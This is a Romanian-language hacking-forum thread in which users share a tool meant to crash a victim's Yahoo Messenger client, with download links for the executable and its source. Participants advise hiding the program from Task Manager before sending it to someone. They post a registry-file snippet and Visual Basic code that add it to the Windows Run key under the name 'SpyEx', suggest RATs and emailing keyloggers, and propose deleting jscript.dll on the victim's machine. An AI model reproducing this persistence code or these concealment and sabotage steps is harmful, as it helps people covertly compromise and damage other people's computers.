BlackWidow YMess! Killer

[puskin]

BlackWidow YMess! Killer

Este un programel ce se foloseste de un timer pt. a face varza clientul de messenger.Poate fi folositor...cine stie...Daca vreti sa il trimiteti la cineva va trebui sa faceti mainfram-ul invizibil pt. taskmanager si sa-i bagati o metoda de start-up.

Mai jos aveti codul sursa si aplicatia propriu zisa...

App:

http://rapidshare.com/files/108727198/BlackWidow.exe.html

Cod:

http://rapidshare.com/files/108726440/BlackW.zip.html

[kabout3r]

cam inutil daca tot ii trimiti ceva...mai bine sa fie un rat

[loki]

Daca-ti trebe un startup, scrie in notepad

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"cevautil"="c:\\alarau.exe"

unde iti inlocuiesti cu ce ai nevoie si salveaza ca ceva.reg Il rulezi pe compul lui.

[puskin]

stiu ca daca tot trimiti ceva e bun sa fie ceva baban..dar eu nu sunt de acord cu rat-urile personal mai bine un keylogger cu functie de "email sender" sau un rat cu aceasta functie.....

in fine....ce sa fac in notepad???? : : :)

ma refeream la asa ceva:

Private Sub Form_Load()

startup

end sub 

si in modul bagi :

Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long         
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
_____________________________________________________

Public Function startup(Optional uninstall As Boolean)
  subKey = "software\microsoft\windows\currentversion\run"

  If uninstall = True Then
    str = ""
  Else: str = App.Path & "\" & App.EXEName & ".exe"
  End If

  size = Len(str)


  RegOpenKeyEx HKEY_LOCAL_MACHINE, subKey, 0, KEY_WRITE, key


  RegSetValueEx key, "SpyEx", 0, REG_SZ, ByVal str, size


  RegCloseKey key
End Function

cam despre asta era vorba cand ziceam de startup......

ca sa fie mai frumos fa cumva sa dai "UNREG" si chiar sa-l stergi din system32 fisierul jscript.dll ca sa nu mai vada ce scrie pe mess :twisted: